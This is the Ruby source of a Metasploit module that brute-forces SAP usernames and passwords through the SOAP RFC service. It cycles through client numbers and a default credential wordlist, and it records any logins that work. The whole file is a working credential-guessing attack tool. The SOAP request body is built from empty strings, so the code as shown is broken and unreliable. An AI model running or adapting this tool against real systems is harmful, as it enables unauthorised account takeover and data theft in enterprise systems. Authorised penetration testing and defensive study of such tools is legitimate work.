## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ## # This module is based on, inspired by, or is a port of a plugin available in # the Onapsis Bizploit Opensource ERP Penetration Testing framework - # http://www.onapsis.com/research-free-solutions.php. # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts # in producing the Metasploit modules and was happy to share his knowledge and # experience - a very cool guy. I'd also like to thank Chris John Riley, # Ian de Villiers and Joris van de Vis who have Beta tested the modules and # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute def initialize super( 'Name' => 'SAP SOAP Service RFC_PING Login Brute Forcer', 'Description' => %q{ This module attempts to brute force SAP username and passwords through the /sap/bc/soap/rfc SOAP service, using RFC_PING function. }, 'References' => [ [ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ] ], 'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'Client can be single (066), comma separated list (000,001,066) or range (000-999)', '000,001,066']), OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ]) ]) deregister_options('HttpUsername', 'HttpPassword') end def run_host(rhost) client_list = [] if datastore['CLIENT'] =~ /^\d{3},/ client_list = datastore['CLIENT'].split(/,/) print_status("Brute forcing clients #{datastore['CLIENT']}") elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/ array = datastore['CLIENT'].split(/-/) client_list = (array.at(0)..array.at(1)).to_a print_status("Brute forcing clients #{datastore['CLIENT']}") elsif datastore['CLIENT'] =~ /^\d{3}\z/ client_list.push(datastore['CLIENT']) print_status("Brute forcing client #{datastore['CLIENT']}") else fail_with(Failure::BadConfig, "Invalid CLIENT") end saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "[SAP] #{peer} Credentials", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "host", "port", "client", "user", "pass" ]) client_list.each do |c| print_status("#{peer} [SAP] Trying client: #{c}") each_user_pass do |u, p| vprint_status("#{peer} [SAP] Trying #{c}:#{u}:#{p}") begin success = bruteforce(u, p, c) saptbl << [ rhost, rport, c, u, p] if success rescue ::Rex::ConnectionError print_error("#{peer} [SAP] Not responding") return end end end if saptbl.rows.count > 0 print_line saptbl.to_s end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: Time.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def bruteforce(username,password,client) uri = normalize_uri(target_uri.path) data = '' data << '' data << '' data << '' data << '' data << '' data << '' res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_get' => { 'sap-client' => client, 'sap-language' => 'EN' }, 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(username, password), 'encode_params' => false, 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', } }) if res && res.code == 200 && res.body.include?('RFC_PING') print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}") report_cred( ip: rhost, port: rport, service_name: 'sap', user: username, password: password, proof: "SAP Client: #{client}" ) return true end false end end